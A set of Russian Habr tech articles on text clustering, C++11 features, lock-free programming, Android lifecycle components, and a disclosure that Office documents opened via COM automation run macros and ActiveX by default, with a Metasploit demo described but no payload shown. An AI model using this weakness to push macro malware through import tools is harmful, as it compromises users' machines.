"большая собака" <> "большая кошка", cos_sim = 0.769
"большая собака" <> "маленькая собака", cos_sim = 0.748
"большая собака" <> "маленькая кошка", cos_sim = 0.559
"большая собака" <> "старая картина", cos_sim = 0.192
```
Итак, модель вполне жизнеспособна и судя по всему достаточно неплохо выявляет семантику предложений, поэтому полученные с ее помощью вектора теперь можно кластеризовать для выявления тематик.
В качестве алгоритма кластеризации были использованы 4 метода: DBSCAN, агломеративная, kMeans и MiniBatchKMeans. В последствии мы остановились на результате работы агломеративной кластеризации, т.к., по нашему мнению, именно этот метод наиболее адекватно разделял наш набор данных на тематические подгруппы:
```
from sklearn.cluster import AgglomerativeClustering
num_clusters = 5
agglo1 = AgglomerativeClustering(n_clusters=num_clusters, affinity='euclidean') #cosine, l1, l2, manhattan
get_ipython().magic('time answer = agglo1.fit_predict(sent_embs)')
```
С помощью вышеописанного подхода были получены 5 кластеров, однако нам предстояло еще выяснить, за какую тему отвечает каждая из групп. Для этого был использован простой подход – для каждого кластера были подсчитаны все входящие слова и ТОП10 из них были представлены в качестве основной сути:
```
cl = {}
for cluster, data in tqdm(report.groupby('AGGLOM'), desc=method):
arr = ' '.join(data['НФ'].values).split()
arr_morph = []
for k in arr:
arr_morph.append(morph.parse(k)[0].normal_form)
cl[method+'_'+str(cluster)] = Counter([x.replace('ё', 'е') for x in arr_morph if x not in stopwords]).most_common(10)
```
После некоторых дополнений списка стоп-слов получились следующие результаты:
| | | |
| --- | --- | --- |
| | **ТОП10 слов** | **ТЕМА** |
| **AGGLOM\_0** | [('справка', 1548), ('предоставление', 786), ('фнс', 565), ('взнос', 552), ('заявление', 494), ('подготовить', 427), ('уплатить', 371), ('информация', 73), ('вмср', 45), ('необходимый', 40)] | предоставление справок |
| **AGGLOM\_1** | [('заявление', 2984), ('информация', 2627), ('полис', 2205), ('выплата', 2144), ('платеж', 1932), ('лк', 1931), ('справка', 1688), ('отображаться', 1653), ('направить', 1571), ('личный', 1460)] | обращения связанные с наступлением страховых случаев, их оплаты, а также отображением платежей в личном кабинете |
| **AGGLOM\_2** | [('полис', 3807), ('оформить', 540), ('оплата', 443), ('заявление', 370), ('платеж', 351), ('оплатить', 312), ('заемщик', 290), ('вложение', 275), ('информация', 272), ('дело', 264)] | запросы информации о оформлении и оплате страховых продуктов |
| **AGGLOM\_3** | [('лпу', 1100), ('застраховать', 683), ('выписка', 660), ('действие', 440), ('учреждение', 428), ('больница', 329), ('диагноз', 315), ('мед', 303), ('врач', 292), ('медицинский', 287)] | вопросы связанные с взаимодействием с ЛПУ, мед. учреждениями и врачебным персоналом |
| **AGGLOM\_4** | [('расторжение', 459), ('возврат', 459), ('оис', 386), ('найти', 383), ('дс', 266), ('отображаться', 196), ('полис', 184), ('дсж', 142), ('заявление', 5), ('защита', 5)] | Расторжение договора и возврат денежных средств |
Нулевой и второй кластер фактически не содержали обращений, связанных с недовольством клиентов, что позволило уделить больше внимание именно запросам из оставшихся трех проблемных кластеров.
Данный метод помог нам сократить время и трудозатраты, автоматизировать ряд рутинных задач, уменьшить размер выборки для ручного анализа.
В результате нам удалось сопоставить информацию из разных БД, выявить отклонения и направить рекомендации по улучшению действующих процессов. | https://habr.com/ru/post/545490/ | null | ru | null |
# Немного Python'о-подобных функций в C++11
От меня лично:
С++11 ничего особо существенного не принес в язык. Грубо говоря, просто упростил некоторые моменты. Ведь гибкость С++ позволяет делать все(почти все: не пылесосит). Но все же, согласитесь это приятно, когда один из не самых легких языков программирования становится доступнее для понимания, проще для восприятия, удобней для работы.
Перевод текста под катом. Автор John D. Cook.
Новый стандарт С++(то есть С++11) содержит немного Python'о-подобных функций, на которые я натыкался последнее время. В данной статье пойдет речь непосредственно о for-loops и raw strings.
В Python'е вы можете пройтись по списку без какого либо счетчика цикла. Например:
```
for p in [2, 3, 5, 7, 11]:
print p
```
Нечто подобное можно использовать и в С++11:
```
int primes[5] = {2, 3, 5, 7, 11};
for (int &p : primes)
cout << p << "\n";
```
Еще у Python'а есть raw string. Если добавить перед строкой букву R, строка интерпретируется посимвольно. Например код:
```
print "Hello\nworld"
```
Даст следующий результат:
*Hello
world*
Но:
```
print R"Hello\nworld"
```
Выведет:
*Hello\nworld*
Потому, что \n не воспринимается как символ новой строки, а просто выводиться как два отдельных символа.
В С++11 raw string используются так же, но так же требуют разделителя внутри кавычек:
```
cout << R"(Hello\nworld)";
```
Синтаксис raw string в С++11 читать немного сложнее, чем у его коллеги Python. Преимуществом однако есть то, что такие строки могут содержать двойные кавычки, сами по себе они не прекращают строку. Например:
```
cout << R"(Hello "world")"; //здесь хабр немного не правильно подсвечивает синтаксис
```
Выведет:
*Hello «world»*
В Python это не нужно, так как одинарные и двойные кавычки являются взаимозаменяемыми. Что бы получить двойные кавычки внутри строки, нужно использовать одинарные снаружи и наоборот. Так же обратите внимание, что raw string в С++11 требуют большой буквы R, в отличии от Python'a, в котором можно использовать и большую и маленькую.
Функции С++11 поддерживаются gcc 4.6.0. MinGW версию gcc для Windows можно скачать [здесь](http://nuwen.net/mingw.html). Для использования функций С++11, необходимо добавить следующий параметр в командную строку *-std=c++0x*.
Например:
*g++ -std=c++0x hello.cpp*
Visual Studio 2010 поддерживает много нового из функций С++11, но, увы, они здесь не описаны. | https://habr.com/ru/post/126693/ | null | ru | null |
# Введение в lock-free программирование
В этом посте мы хотели бы еще раз поднять тему программирования без блокировок, сперва дав ему определение, а затем выделить из всего многообразия информации несколько ключевых положений. Мы покажем, как эти положения соотносятся между собой, с помощью блок-схем, а потом мы немного коснемся деталей. Минимальное требование к разработчику, постигающему lock-free, — умение писать правильный многопоточный код, используя мьютексы или другие высокоуровневые объекты синхронизации, например, семафоры или события.
Программирование без блокировок (Lock-free) — это своего рода испытание, причем не столько из-за сложности самой задачи, сколько из-за трудности постижения сути предмета.
Мне повезло получить первое представление о lock-free из превосходной подробной статьи Брюса Доусона “[Lockless Programming Considerations](http://msdn.microsoft.com/en-us/library/windows/desktop/ee418650(v=vs.85).aspx)”. И как многим другим, мне довелось применить советы Брюса на практике, занимаясь разработкой и отладкой безблокировочного кода на таких платформах как Xbox 360.
С тех пор в свет вышло множество хороших работ, начиная с абстрактной теории и доказательств корректности и заканчивая практическими примерами и подробностями аппаратного уровня. Я приведу список ссылок в примечаниях. Порой информация в одном источнике противоречит другим, например, некоторые работы предполагают [последовательную консистентность](http://en.wikipedia.org/wiki/Sequential_consistency) (sequential consistency), что позволяет обойти проблемы упорядочения памяти (memory ordering) — настоящее бедствие для C/C++ кода. В то же время новая [библиотека атомарных операций стандарта C++11](http://en.cppreference.com/w/cpp/atomic) заставляет взглянуть на проблему в новом свете и отказаться от привычного многим способа представления lock-free алгоритмов.
Что это?
--------
Обычно безблокировочное программирование описывают как программирование без мьютексов, которые также называют [блокировками (locks)](http://preshing.com/20111118/locks-arent-slow-lock-contention-is). Это верно, но это лишь часть общей картины. Общепринятое определение, основанное на академической литературе, немного шире. “Без блокировок” — это в сущности некое свойство, которое позволяет описать код, не вдаваясь в подробности о том, как он написан.
Как правило, если какая-то часть вашей программы удовлетворяет нижеперечисленым условиям, то эта часть может полноправно считаться lock-free. И наоборот, если данная часть этим условиям не удовлетворяет, lock-free она не будет.
Перевод: Вы работаете с несколькими потоками (прерываниями, обработчиками сигналов и т.д.)? — Да. — Потоки имеют доступ к разделяемой памяти? — Да. — Могут ли потоки блокировать друг друга (другими словами, можно ли выполнить планирование потоков так, чтобы они заблокировались на неопределенное время)? — Нет. — Это программирование без блокировок.
В этом смысле, термин *lock* (блокировка) в lock-free относится не непосредственно к мьютексам, с скорее к возможности того, что само приложение каким-то образом окажется заблокированным, будь то взаимоблокировка (deadlock), динамическая взаимоблокировка (livelock) или гипотетического планирования потоков, выполненного вашим злейшим врагом. Последний пункт может показаться забавным, но он-то и является ключевым. Разделяемые мьютексы легко вывести из строя: как только один поток получает мьютекс, ваш недоброжелатель может просто больше никогда не выполнять планирование этого потока. Конечно, реальные операционные системы таким образом не работают, пока мы просто определяем термины.
Вот простой пример операции, которая не содержит мьютексов, но все равно не является lock-free. Вначале X = 0. В качестве упражнения подумайте, как выполнить планирование двух потоков таким образом, чтобы ни один не смог выйти из цикла.
```
while (X == 0)
{
X = 1 - X;
}
```
Никто не ожидает, что большое приложение будет полностью lock-free. Обычно из всего кода мы выделяем подмножество lock-free операций. Например, в безблокировочной очереди может быть некоторое количество безблокровочных операций: `push`, `pop`, возможно, `isEmpty` и т.д.
[](http://www.amazon.com/gp/product/0123973376/ref=as_li_ss_tl?ie=UTF8&tag=preshonprogr-20&linkCode=as2&camp=1789&creative=390957&creativeASIN=0123973376)Херлихи и Шавит, авторы книги [The Art of Multiprocessor Programming](http://www.amazon.com/gp/product/0123973376/ref=as_li_ss_tl?ie=UTF8&tag=preshonprogr-20&linkCode=as2&camp=1789&creative=390957&creativeASIN=0123973376), склонятся к тому, чтобы представлять такие операции в виде методов класса, и предлагают следующее краткое определение lock-free: «при бесконечном выполнении бесконечно часто вызываемый метод всегда завершается». Иными словами, пока программа может *вызывать* такие lock-free операции, количество *завершенных* вызовов будет увеличиваться. Во время таких операций блокировка системы алгоритмически невозможна.
Одно из важных последствий программирования без блокировок: даже если один поток будет находиться в состоянии ожидания, он не помешает прогрессу остальных потоков в их собственных lock-free операциях. Это определяет ценность программирования без блокировок при написании обработчиков прерываний и систем реального времени, когда определенная задача должна быть завершена за ограниченный отрезок времени, независимо от состояния остальной программы.
Последнее уточнение: операции, специально *предназначенные* для блокировки, не лишают алгоритм статуса lock-free. Например, операция pop очереди может блокироваться намеренно, если очередь пуста. Остальные пути все равно будут считаться безблокировочными.
Механизмы программирования без блокировок
-----------------------------------------
Оказывается, для того, чтобы удовлетворить условию отсутствия блокировок, существует целое семейство механизмов: атомарные операции (atomic operations), барьеры памяти (memory barriers), избегание проблем ABA — лишь некоторые из них. И в этот момент все становится адски сложно.
Как же соотносятся все эти механизмы? Для иллюстрации я нарисовал следующую блок-схему. Расшифрую каждый блок ниже.
Операции атомарного изменения (RMW, read-modify-write)
------------------------------------------------------
Атомарные операции — это такие операции, которые производят неделимые манипуляции памятью: ни один поток не может наблюдать такую операцию на промежуточной стадии выполнения. В современных процессорах многие операции уже атомарны. Например, обычно являются атомарными выровненные операции чтения/записи простых типов.
[RMW-операции](http://en.wikipedia.org/wiki/Read-modify-write) идут еще дальше, позволяя атомарно выполнять более сложные транзакции. Они особенно полезны, когда алгоритм без блокировок должен поддерживать несколько потоков на запись, потому что при попытке нескольких потоков выполнить RMW на один адрес, они оперативно выстроятся в ряд и выполнят эти операции по одному. Я уже касался RMW в этом блоге, когда рассказывал о реализации [легковесного мьютекса](http://preshing.com/20120226/roll-your-own-lightweight-mutex), [рекурсивного мьютекса](http://preshing.com/20120305/implementing-a-recursive-mutex) и [легковесной системы логирования](http://preshing.com/20120522/lightweight-in-memory-logging).
Примеры RMW-операций: [`_InterlockedIncrement`](http://msdn.microsoft.com/en-us/library/2ddez55b(v=vs.90).aspx) в Win32, [`OSAtomicAdd32`](http://developer.apple.com/library/ios/#DOCUMENTATION/System/Conceptual/ManPages_iPhoneOS/man3/OSAtomicAdd32.3.html) в iOS и [`std::atomic::fetch\_add`](http://www.stdthread.co.uk/doc/headers/atomic/atomic/specializations/integral/fetch_add.html) в C++11. Примите к сведению, что стандарт атомарных операций C++11 не гарантирует, что реализация будет lock-free на любой платформе, поэтому лучше всего изучить возможности вашей платформы и инструментария. Для уверенности можно вызвать [`std::atomic<>::is_lock_free`](http://www.stdthread.co.uk/doc/headers/atomic/atomic/specializations/integral/is_lock_free.html).
Различные семейства процессоров [поддерживают RMW по-разному](http://jfdube.wordpress.com/2011/11/30/understanding-atomic-operations/). Такие процессоры, как PowerPC и ARM, предоставляют [LL/SC](http://en.wikipedia.org/wiki/Load-link/store-conditional)-инструкции (load-link/store-conditional, загрузка с пометкой/попытка записи), что позволяет реализовать вашу собственную RMW-транзакцию на низком уровне, хотя так делают нечасто. Обыкновенных RMW обычно бывает достаточно.
Как показано на блок-схеме, атомарные RMW — необходимая часть программирования без блокировок даже на однопроцессорных системах. Без атомарности поток может быть прерван на середине транзакции, что может привести к рассогласованному состоянию (inconsistent state).
Циклы Compare-And-Swap
----------------------
Возможно, наиболее обсуждаемая RMW-операция — [compare-and-swap](http://en.wikipedia.org/wiki/Compare-and-swap) (CAS). В Win32 CAS доступна с помощью семейства встроенных функций, таких как [`_InterlockedCompareExchange`](http://msdn.microsoft.com/en-us/library/ttk2z1ws.aspx). Разработчики часто выполняют compare-and-swap в цикле, чтобы повторять попытки выполнить странцанцию. Этот сценарий обычно включает в себя копирование разделяемой переменной в локальную, совершение над ней какой-то работы и попытку опубликовать изменения, используя CAS.
```
void LockFreeQueue::push(Node* newHead)
{
for (;;)
{
// Copy a shared variable (m_Head) to a local.
Node* oldHead = m_Head;
// Do some speculative work, not yet visible to other threads.
newHead->next = oldHead;
// Next, attempt to publish our changes to the shared variable.
// If the shared variable hasn't changed, the CAS succeeds and we return.
// Otherwise, repeat.
if (_InterlockedCompareExchange(&m_Head, newHead, oldHead) == oldHead)
return;
}
}
```
Такие циклы тоже считают lock-free, так как если тест не прошел в одном потоке, значит, он должен был пройти в другом, хотя некоторые архитектуры предлагают [более слабый вариант CAS](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2008/n2748.html), где это не всегда так. Во время реализации CAS-цикла необходимо стараться избегать [ABA проблемы](http://en.wikipedia.org/wiki/ABA_problem).
Последовательная согласованность (sequential consistency)
---------------------------------------------------------
Последовательная согласованность означает, что все потоки согласны с порядком, в котором выполнялись операции с памятью, и что этот порядок соответствует порядку операций в исходном коде программы. При последовательной согласованности мы не пострадаем от проделок переупорядочивания памяти, подобных той, что я описал [в предыдущем посте](http://preshing.com/20120515/memory-reordering-caught-in-the-act).
Простой (но очевидно непрактичный) способ достичь последовательной согласованности — выключить оптимизации компилятора и запускать все потоки на одном процессоре. Память одного процессора никогда не окажется в беспорядке, даже если потоки запланированы на случайное время.
Некоторые языки программирования предоставляют последовательную согласованность даже для оптимизированного кода, выполняемого на нескольких процессорах. В C++11 можно объявить разделяемые переменные как атомарные (atomic) типы C++11, обеспечивающие упорядочение. В Java можно пометить все разделяемые переменные как `volatile`. Вот пример из моего [предыдущего поста](http://preshing.com/20120515/memory-reordering-caught-in-the-act), переписанный в стиле C++11:
```
std::atomic X(0), Y(0);
int r1, r2;
void thread1()
{
X.store(1);
r1 = Y.load();
}
void thread2()
{
Y.store(1);
r2 = X.load();
}
```
Так как атомарные типы C++11 гарантируют последовательную согласованность, получить на выходе r1 = r2 = 0 невозможно. Чтобы получить желаемый результат, компилятор добавляет дополнительные инструкции — обычно это барьеры памяти или RMW-операции. Из-за этих дополнительных инструкций реализация может оказаться менее эффективной, чем та, где разработчик работает с упорядочением памяти напрямую.
Упорядочение памяти (memory reordering)
---------------------------------------
Как предлагается в блок-схеме, каждый раз при lock-free разработке под мультиядерную (или любую другую [SMP](http://en.wikipedia.org/wiki/Symmetric_multiprocessing)-) систему, когда ваше окружение не гарантирует последовательной согласованности, нужно подумать, как бороться с проблемой [переупорядочения памяти](http://preshing.com/20120515/memory-reordering-caught-in-the-act).
В современных архитектурах существует три группы инструментов, обеспечивающих корректное упорядочение памяти как на уровне [компилятора](http://preshing.com/20120625/memory-ordering-at-compile-time), так и на уровне [процессора](http://preshing.com/20120710/memory-barriers-are-like-source-control-operations):
* Легковесные инструкции синхронизации и барьеров памяти, о которых я расскажу в [будущих постах](http://preshing.com/20120913/acquire-and-release-semantics);
* Полные инструкции барьеров памяти, которые я [демонстрировал раньше](http://preshing.com/20120522/lightweight-in-memory-logging);
* Операции с памятью, основанные на acquire/release семантике (семантике захвата/освобождения ресурсов).
Acquire-семантика обеспечивает упорядочение памяти для последующих операций, release-семантика — для предыдущих. Эти семантики частично подходят для случая отношений производителя/потребителя, когда один поток публикует информацию, а другой ее читает. Обсудим это более подробно [в будущем посте](http://preshing.com/20120913/acquire-and-release-semantics).
У разных процессоров разные модели памяти
-----------------------------------------
Когда дело касается переупорядочения памяти, [у всех семейств CPU свои привычки](http://www.linuxjournal.com/node/8212/print). Правила зафиксированы в документации каждого производителя и строго соблюдаются при производстве железа. Например, процессоры PowerPC или ARM могут сами менять порядок инструкций, а семейство x86/64 от Intel и AMD обычно этого не делают. Говорят, что первые имеют более [слабую модель памяти](http://preshing.com/20120930/weak-vs-strong-memory-models).
Есть большой соблазн абстрагироваться от этих низкоуровневых деталей, особенно когда C++11 предоставляет нам стандартный способ писать портируемый код без блокировок. Но думаю, в настоящее время большинство lock-free разработчиков имеют хоть какое-то представление о различии аппаратных платформ. Ключевое отличие, которое точно стоит запомнить, — это то, что на уровне инструкций в x86/64 каждая загрузка из памяти происходит с acquire-семантикой, а каждая запись в память — c release-семантикой — по крайней мере для не-SSE инструкций и не для памяти с комбинируемой записью (write-combining memory). В результате, раньше довольно часто писали lock-free код, который работал на x86/64, но [падал на других процессорах](http://www.drdobbs.com/parallel/208801974).
Если вам интересны технические подробности того, как и почему процессоры переупорядочивают память, рекомендую прочесть Appendix C в [Is Parallel Programming Hard](http://kernel.org/pub/linux/kernel/people/paulmck/perfbook/perfbook.2011.01.02a.pdf). В любом случае, не забывайте, что переупорядочение памяти может также произойти из-за того, что компилятор переупорядочил инструкции.
В этом посте я почти не затронул практическую сторону программирования без блокировок, например, когда стоит им заниматься? Настолько ли сильно оно нам нужно? Я также не упомянул важность проверки ваших lock-free алгоритмов. Тем не менее, надеюсь, что это введение позволило некоторым читателям познакомится с основными принципами lock-free, так что они смогут дальше углубляться в тему, не чувствуя себя в полной растерянности.
Дополнительные ссылки
---------------------
[](http://www.amazon.com/gp/product/1933988770/ref=as_li_ss_tl?ie=UTF8&tag=preshonprogr-20&linkCode=as2&camp=1789&creative=390957&creativeASIN=1933988770)* [Блог Anthony Williams](http://www.justsoftwaresolutions.co.uk/blog/) и его книга [C++ Concurrency in Action](http://www.amazon.com/gp/product/1933988770/ref=as_li_ss_tl?ie=UTF8&tag=preshonprogr-20&linkCode=as2&camp=1789&creative=390957&creativeASIN=1933988770)
* [Сайт Dmitriy V’jukov](http://www.1024cores.net/) и различные [обсуждения на форуме](https://groups.google.com/forum/?fromgroups#!forum/lock-free)
* [Блог Bartosz Milewski](http://bartoszmilewski.com/)
* [Low-Level Threading series](http://cbloomrants.blogspot.ca/2012/06/06-12-12-another-threading-post-index.html) в блоге Charles Bloom
* Doug Lea, [JSR-133 Cookbook](http://g.oswego.edu/dl/jmm/cookbook.html)
* Howells and McKenney, документ [memory-barriers.txt](http://www.kernel.org/doc/Documentation/memory-barriers.txt)
* Hans Boehm, [коллекция ссылок](http://www.hpl.hp.com/personal/Hans_Boehm/c++mm/) о модели памяти C++11
* Herb Sutter, серия статей [Effective Concurrency](http://www.gotw.ca/publications/) | https://habr.com/ru/post/322094/ | null | ru | null |
# Microsoft Office Automation: Еще одна лазейка для макровируса
Пакет программ Microsoft Office — это не только фактический стандарт офисного ПО, но и весьма сложная и многофункциональная среда, позволяющая создавать решения, предназначенные прежде всего для применения возможностей Microsoft Office и автоматизации рутинных действий пользователя при работе с документами. Эта программная платформа, называемая Объектной Моделью Microsoft Office (Microsoft Office Object Model), или же Автоматизацией Microsoft Office (Microsoft Office Automation) основана на Объектной Модели COM и содержит обширный набор классов, предоставляющих доступ практически к любому элементу или действию, доступному пользователю при работе с Microsoft Office через графический интерфейс.
*Объектная модель Microsoft Word (частично)*
Говоря о программировании для Microsoft Office, часто подразумевают «внутренние» программы — макросы, написанные на VBA (Visual Basic for Applications, реализация Visual Basic в Microsoft Office) и встраиваемые непосредственно в документы.
*Создание макроса для Microsoft Excel*
Благодаря широким возможностям языка (за счет доступа к внешним dll и компонентам практически неограниченным) и удобной модели распространения (с файлами документов) макросы Microsoft Office использовались для создания зловредного ПО с момента появления VBA и получили собственное название — макровирусы. Несмотря на некоторое ужесточение настроек, связанных с макросами (на текущий момент актуальные версии Microsoft Office при настройках по умолчанию запрещают автоматическое выполнение макросов, уведомляя об этом пользователя), макровирусы активно применяются злоумышленниками и сейчас. Для эффективного использования этой технологии с двадцатилетней историей оказалось достаточно дополнить ее элементами социальной инженерии.
*Предложение пользователю разрешить макросы в документе, содержащем зловредный код*
Объекты Microsoft Office доступны не только из макросов, но и из «внешних» программ на любых языках, поддерживающих COM. Последние могут быть компилируемыми программами на языках вроде C++ или Delphi, управляемыми приложениями на Java или .Net, или же скриптами на VBScript и PowerShell — COM технология доступна практически для всего, способного выполняться под Windows.
*Доступ к объектной модели Microsoft Office из PowerShell*
Объектная Модель Microsoft Office представляет приложения Microsoft Office в виде COM-объектов. Но существует также возможность добавлять в документы и другие COM-объекты — управляющие элементы ActiveX, не относящиеся к Microsoft Office, но присутствующие в операционной системе. Будучи включенными в документ, эти элементы могут взаимодействовать с кодом макросов, либо выполнять собственный код, основанный на добавляемых в документ «свойствах» — properties объекта. В умелых руках встраивание элементов ActiveX также может приводить к выполнению произвольного кода, поэтому в последних версиях Microsoft Office по умолчанию запрещен запуск встроенных ActiveX за исключением некоторого «белого списка» элементов. Впрочем, пользователь и в этом случае при желании может явно разрешить выполнение.
*Предупреждение о встроенных ActiveX*
Предложение разрешить (или запретить) запуск активного содержимого поступит пользователю при открытии документа нормальным образом в соответствующем приложении. Что же случится, если открыть тот же документ, воспользовавшись Объектной Моделью Microsoft Office?
Примеров таких программ — великое множество на самых разных языках и под самые разные задачи:
```
Set objWord = CreateObject("Word.Application")
Set objDoc = objWord.Documents.Add("e:\test\fax.dotx")
objDoc.SaveAs("e:\test\temp.docx")
objDoc.Close
objWord.Quit
```
*Пример на VBScript*
```
application = new Word.Application();
Object templatePathObj = "путь к файлу шаблона";;
try
{
document = application.Documents.Add(ref templatePathObj, ref missingObj, ref missingObj, ref missingObj);
}
catch (Exception error)
{
document.Close(ref falseObj, ref missingObj, ref missingObj);
application.Quit(ref missingObj, ref missingObj, ref missingObj);
document = null;
application = null;
throw error;
}
_application.Visible = true;
```
*Пример на C#*
```
try {
using namespace Word;
_ApplicationPtr word(L"Word.Application");
word->Visible = true;
word->Activate();
_DocumentPtr wdoc1 = word->Documents->Add();
RangePtr range = wdoc1->Content;
range->LanguageID = wdRussian;
range->Tables->Add(range,5,5);
wdoc1->SaveAs(&_variant_t("C:\\1test.doc"));
wdoc1->Close();
} catch (_com_error& er) {}
```
*Пример на C++*
```
$word = New-Object -ComObject Word.Application
$word.Visible = $True
$doc = $word.Documents.Add()
```
*Пример на PowerShell*
При изучении подобных примеров лишь [один раз нам попалась в коде](http://habrahabr.ru/post/275989/) интересная строчка:
```
app.AutomationSecurity = 3
```
Что она означает, расскажет [официальная документация](http://msdn.microsoft.com/en-us/vba/excel-vba/articles/application-automationsecurity-property-excel):
> Application.AutomationSecurity Property (Excel)
>
> …
>
> Returns or sets an MsoAutomationSecurity constant that represents the security mode Microsoft Excel uses when programmatically opening files.
>
> …
>
> MsoAutomationSecurity can be one of these MsoAutomationSecurity constants.
>
>
>
> msoAutomationSecurityByUI. Uses the security setting specified in the Security dialog box.|
>
> msoAutomationSecurityForceDisable. Disables all macros in all files opened programmatically without showing any security alerts.
>
> msoAutomationSecurityLow. Enables all macros. **This is the default value when the application is started**.
>
>
Оказывается, если приложение Microsoft Office запущено как элемент автоматизации, то код макросов в открываемых документах будет по умолчанию выполнен. Если, конечно, специально не изменить уровень безопасности управляющей программой. Это умолчание не зависит от настроек, выставленных пользователем или администратором. Помимо макросов, будет также загружен и выполнен код любых элементов ActiveX, добавленных в документ.
*Выполнение макроса при открытии документа через Автоматизацию*
Эта неочевидная особенность, судя по всему, достаточно редко учитывается. К примеру, офисные программы других производителей применяют объектную модель Microsoft Office для импорта и экспорта данных в документы Word и Excel. Достаточно часто встречаются примеры для 1С:
```
MSWord = Новый COMОбъект("Word.Application");
MSWord.Documents.Add(ИмяФайла);
ActiveDocument = MSWord.ActiveDocument;
Content = ActiveDocument.Content;
//Добавляем строки в конец документа
Content.InsertParagraphAfter();
Content.InsertAfter("Добавляемая строка 1");
Content.InsertParagraphAfter();
Content.InsertAfter("Добавляемая строка 2");
Content.InsertParagraphAfter();
//Добавляем в конец текущего документа содержимое другого файла без ссылки на исходный
//Вставим дополнительный абзац
Content.InsertParagraphAfter();
//На его место вставляем файл
ActiveDocument.Range(Content.End - 1, Content.End).InsertFile(ИмяФайлаДляВставки, "", Ложь, Ложь);
Content.InsertParagraphAfter();
```
*Пример для 1С*
Программы 1С, называемые «обработками», также могут использовать COM вообще и объектную модель Microsoft Office в частности. Некоторые полезные обработки предоставляются пользователям производителем, например, [обработка «ЗагрузкаДанныхИзТабличногоДокумента.epf»](http://its.1c.ru/db/files/1CITS/EXE/ExtReps/Unireps82/UploadFromTableDocument/UploadFromTableDocument.zip) позволяет загружать в базу данные из внешних табличных документов.
*Выполнение макроса при открытии документа через обработку 1С*
Как можно видеть, свойство AutomationSecurity было забыто и программистами 1С.
С одной стороны, это классический пример того, что необходимо думать о безопасности в процессе программирования, какой бы язык ни использовался. С другой стороны, какая причина заставила Microsoft при ужесточении настроек безопасности Microsoft Office оставить незащищенной объектную модель?
*Небольшое видео, демонстрирующее то, как злоумышленник может захватить контроль над компьютером бухгалтерии при помощи Metasploit Framework и прайса на вареники. Макрос, содержащийся в документе Excel, запускает скрипт для PowerShell, открывающий атакующему доступ к командной строке на атакуемой системе.* | https://habr.com/ru/post/335222/ | null | ru | null |
# Android Lifecycle-aware Architecture Components
6 ноября 2017 года компания Google опубликовала информацию об анонсе стабильной версии
[архитектурных компонентов](https://android-developers.googleblog.com/2017/11/announcing-architecture-components-10.html). Разработчики Google предоставили руководство по [архитектуре приложений](https://developer.android.com/topic/libraries/architecture/index.html) и представили ряд классов и интерфейсов, которые упрощают создание приложений с выстроенной архитектурой, облегчают присоединение новых программистов к проекту и уменьшают порог вхождения в мир взрослой разработки для тех людей, которые только начали программировать под систему Android.
Представленные компоненты для работы с жизненным циклом Android можно сравнить со скрытым от глаз часовым механизмом. Всего пара строчек кода и все работает. Но как все устроено? Да и вообще, стоит ли использовать архитектурные компоненты в своих домашних проектах или даже в проектах с сотнями тысяч активных установок?
**Disclaimer**Код разработчика предоставлен на языке разработки Kotlin. Выдержки исходного кода компании Google предоставлены на языке Java. В выдержках часть кода может быть опущена.
### Lifecycle, lifecycle-aware components and activities
Жизненный цикл — очень важный пункт в мире андроид разработки, которому зачастую уделяется недостаточно внимания. По этой причине у пользователей могут происходить ошибки в работе приложения. Например, при телефонном звонке приложение может завершить работу с критической ошибкой. Это происходит из-за пересоздания активити и необработанного сохранения состояния.
Частично проблемы пересоздания активити можно избежать. Например, запретить пересоздание — поставить в манифесте настройку активити *android:screenOrientation=«portrait»*. Но это решит проблемы только с пересозданием активити во время изменения конфигурации (например, смены ориентации экрана). Проблему того, что в какой-то момент операционной системе не хватит памяти и она уничтожит процесс с исполняемой активити этот способ не решает. Вернувшись к работе с приложением, первое, что увидит пользователь — критическую ошибку.
Так или иначе разработчику нужно позаботиться об обработке состояний жизненного цикла. На помощь приходят lifecycle-aware components. Архитектурные компоненты имеют стабильную версию 1.0 и их можно применять в production-разработке приложений.
### Плюсы и минусы использования lifecycle-aware components
Рассмотрим практические плюсы и минусы использования компонентов.
Плюсов несомненно больше
1. подключение нового сотрудника к команде разработки приложения. Все android разработчики знают и умеют пользоваться официальными библиотеками от компании Google. Не надо тратить время на обучение локальным решениям для поддержания архитектуры;
2. меньше кода при разработке фичи;
3. стабильность работы компонентов;
4. улучшение стабильности работы приложения после внедрения компонентов.
Минусы
1. время на ознакомление с компонентами и добавление в проект;
2. добавился код для сопровождения архитектуры при разработке новой функции, но этот минус легко решается генерацией кода. Хорошие статьи на эту тему [здесь](https://habrahabr.ru/post/274959/) и [здесь](https://habrahabr.ru/company/redmadrobot/blog/274897/).
### Как работать с lifecycle-aware components?
Начиная с Support Library версии 26.1.0 фрагменты и активити из коробки реализуют интерфейс LifecycleOwner. Этот интерфейс имеет только один метод — *getLifecycle()*.
Чтобы добавить наблюдателя за событиями жизненного цикла достаточно всего лишь в классе-наблюдателе реализовать интерфейс LifecycleObserver и написать в активити/фрагменте
```
private fun addLifecycleObserver() {
lifecycle.addObserver(observer)
}
```
И все? Да, для разработчика на этом работа заканчивается. Достаточно в коде наблюдателя пометить нужные методы аннотациями и реагировать на события жизненного цикла.
```
@OnLifecycleEvent(Lifecycle.Event.ON_CREATE)
fun init(){}
```
Интересный факт, что одной и той же аннотацией можно пометить несколько методов и все они будут вызваны при изменении состояния жизненного цикла.
Что же скрывается за парой строчек, как все работает, какие есть нюансы?
Найдем ответы на перечисленные ниже вопросы на примере фрагмента.
### Что возвращает фрагмент, реализуя интерфейс LifecycleOwner в методе getLifecycle()? Описание основных методов
Фрагмент имплементирует интерфейс LifecycleOwner, реализуя метод *getLifecycle(): Lifecycle*.
Lifecycle — абстрактный класс, определяющий объект, как объект имеющий жизненный цикл Android.
Реализация данного класса LifecycleRegistry берет на себя всю работу по контролю за добавлением, удалением наблюдателей, обработкой событий жизненного цикла, сообщением об изменениях жизненного цикла всем наблюдателям.
Добавление наблюдателя.
```
@MainThread
public abstract void addObserver(@NonNull LifecycleObserver observer);
```
Важный нюанс состоит в том, что при добавлении LifecycleObserver к списку наблюдающих — наблюдатель получит события об изменении всех состояний, которые предшествуют текущему.
То есть если LifecycleOwner находится в состоянии *Lifecycle.State.STARTED* при добавлении LifecycleObserver, то последний получит два события *Lifecycle.Event.ON\_CREATE* и *Lifecycle.Event.ON\_START*.
Значит, мы имеем гарантию того, что наш наблюдатель пройдет все ступени инициализации, опираясь на события жизненного цикла, и не пропустит какой-либо стадии конфигурации.
Удаление наблюдателя из списка наблюдающих происходит в методе.
```
@MainThread
